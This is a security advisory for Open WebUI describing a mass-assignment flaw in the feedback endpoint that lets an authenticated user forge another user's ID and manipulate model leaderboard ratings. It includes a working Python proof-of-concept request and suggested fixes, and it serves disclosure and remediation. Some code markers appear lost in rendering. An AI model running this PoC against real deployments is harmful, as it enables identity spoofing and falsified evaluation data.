GHSA-rjmp-vjf2-qf4g Open WebUI: Mass Assignment via FeedbackForm extra=allow Allows Feedback User ID Spoofing and Evaluation Data Manipulation

• PyPI open-webui: < 0.9.5 → fixed in 0.9.5

Mass Assignment in Feedback Creation Allows User ID Spoofing and Evaluation Data Manipulation Summary The `POST /api/v1/evaluations/feedback` endpoint in Open WebUI v0.9.2 is vulnerable to mass assignment via `FeedbackForm`, which uses `model_config = ConfigDict(extra='allow')`. Due to an insecure dictionary merge order in `insert_new_feedback()`, an authenticated attacker can inject a `user_id` field in the request body that overwrites the server-derived value, creating feedback records attributed to any arbitrary user. This corrupts the model evaluation leaderboard (Elo ratings) and enables identity spoofing. Details The vulnerability exists in two layers: 1. Model Layer — Insecure Dict Merge Order File: `backend/open_webui/models/feedbacks.py`, lines 148–160 ```python async def insert_new_feedback( self, user_id: str, form_data: FeedbackForm, db: Optional[AsyncSession] = None ) -> Optional[FeedbackModel]: async with get_async_db_context(db) as db: id = str(uuid.uuid4()) feedback = FeedbackModel( { 'id': id, 'user_id': user_id, # ← Server-set from auth token 'version': 0, form_data.model_dump(), # ← OVERWRITES 'id', 'user_id', 'version' 'created_at': int(time.time()), 'updated_at': int(time.time()), } ) ``` In Python, when a dictionary literal contains duplicate keys, the last value wins. Since `form_data.model_dump()` appears after `'user_id': user_id`, any `user_id` field in the form data overwrites the authenticated user's ID. 2. Schema Layer — `extra='allow'` on Request Form File: `backend/open_webui/models/feedbacks.py`, line 106 ```python class FeedbackForm(BaseModel): type: str data: Optional[RatingData] = None meta: Optional[dict] = None snapshot: Optional[SnapshotData] = None model_config = ConfigDict(extra='allow') # ← Accepts arbitrary extra fields ``` The `extra='allow'` config means Pydantic will accept and preserve any extra fields in the request body, including `user_id`, `id`, and `version`. These are then spread into the `FeedbackModel` constructor, overwriting server-set values. Contrast with Secure Pattern Other models in the same codebase use the correct ordering. For example, `backend/open_webui/models/functions.py`, line 120: ```python function = FunctionModel({ form_data.model_dump(), # ← Spread FIRST 'user_id': user_id, # ← Server value AFTER → always wins }) ``` And `ModelForm` at `backend/open_webui/models/models.py` uses `extra='ignore'`, which is the strictest approach. Impact 1. User Identity Spoofing An attacker can create feedback records attributed to any user by specifying their `user_id`. The admin export endpoint (`GET /api/v1/evaluations/feedbacks/export`) and admin list (`GET /api/v1/evaluations/feedbacks/all`) will show the spoofed `user_id` as the feedback author. 2. Model Evaluation Leaderboard Manipulation The Elo rating system at `backend/open_webui/routers/evaluations.py` computes model rankings directly from feedback records. An attacker can inject fake rating feedback to: • Artificially inflate ratings for a specific model • Deflate ratings for competitor models • Make organizational model evaluation decisions unreliable 3. Record ID Control By injecting a custom `id`, an attacker controls the UUID of the feedback record. While this won't overwrite existing records (primary key constraint), it enables predictable record IDs that could be useful in other attack chains. PoC ```python import requests BASE_URL = "http://localhost:8080" 1. Login as attacker session = requests.Session() login_resp = session.post(f"{BASE_URL}/api/v1/auths/signin", json={ "email": "[email protected]", "password": "attackerpass" }) token = login_resp.json()["token"] headers = {"Authorization": f"Bearer {token}"} 2. Create feedback attributed to a different user (victim) VICTIM_USER_ID = "12345678-aaaa-bbbb-cccc-000000000000" resp = session.post( f"{BASE_URL}/api/v1/evaluations/feedback", headers=headers, json={ "type": "rating", "data": { "model_id": "gpt-4o", "rating": 1, "sibling_model_ids": ["claude-3-opus"], }, # Mass assignment: these extra fields are accepted due to extra='allow' # and overwrite server-set values due to dict merge order "user_id": VICTIM_USER_ID, # Overwrites authenticated user ID "version": 999, # Overwrites default version } ) feedback = resp.json() print(f"Feedback created with user_id: {feedback['user_id']}") Expected: attacker's own user_id Actual: VICTIM_USER_ID (12345678-aaaa-bbbb-cccc-000000000000) assert feedback["user_id"] == VICTIM_USER_ID, "Mass assignment successful!" ``` Severity CVSS 3.1: 5.4 (Medium) — `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L` • Attack Vector: Network • Attack Complexity: Low • Privileges Required: Low (any authenticated user) • User Interaction: None • Impact: Integrity (feedback data falsification) + limited Availability (leaderboard reliability) Suggested Remediation Option 1: Fix dict merge order (minimal fix) ```python feedback = FeedbackModel( { **form_data.model_dump(), # Spread FIRST 'id': id, # Server values AFTER (always win) 'user_id': user_id, 'version': 0, 'created_at': int(time.time()), 'updated_at': int(time.time()), } ) ``` Option 2: Remove `extra='allow'` from FeedbackForm (recommended) ```python class FeedbackForm(BaseModel): type: str data: Optional[RatingData] = None meta: Optional[dict] = None snapshot: Optional[SnapshotData] = None model_config = ConfigDict(extra='ignore') # Reject unexpected fields ``` Option 3: Explicit field assignment (most secure) ```python feedback = FeedbackModel( id=str(uuid.uuid4()), user_id=user_id, version=0, type=form_data.type, data=form_data.data.model_dump() if form_data.data else {}, meta=form_data.meta or {}, snapshot=form_data.snapshot.model_dump() if form_data.snapshot else {}, created_at=int(time.time()), updated_at=int(time.time()), ) ``` Affected Versions • v0.9.2 (current latest, confirmed vulnerable) • Likely all versions since feedback/evaluation feature was introduced References • Prior advisory: "Mass Assignment via Pydantic extra='allow' Allows Creating Folders in Other Users' Accounts" (patched in v0.9.0) — same root cause class, different endpoint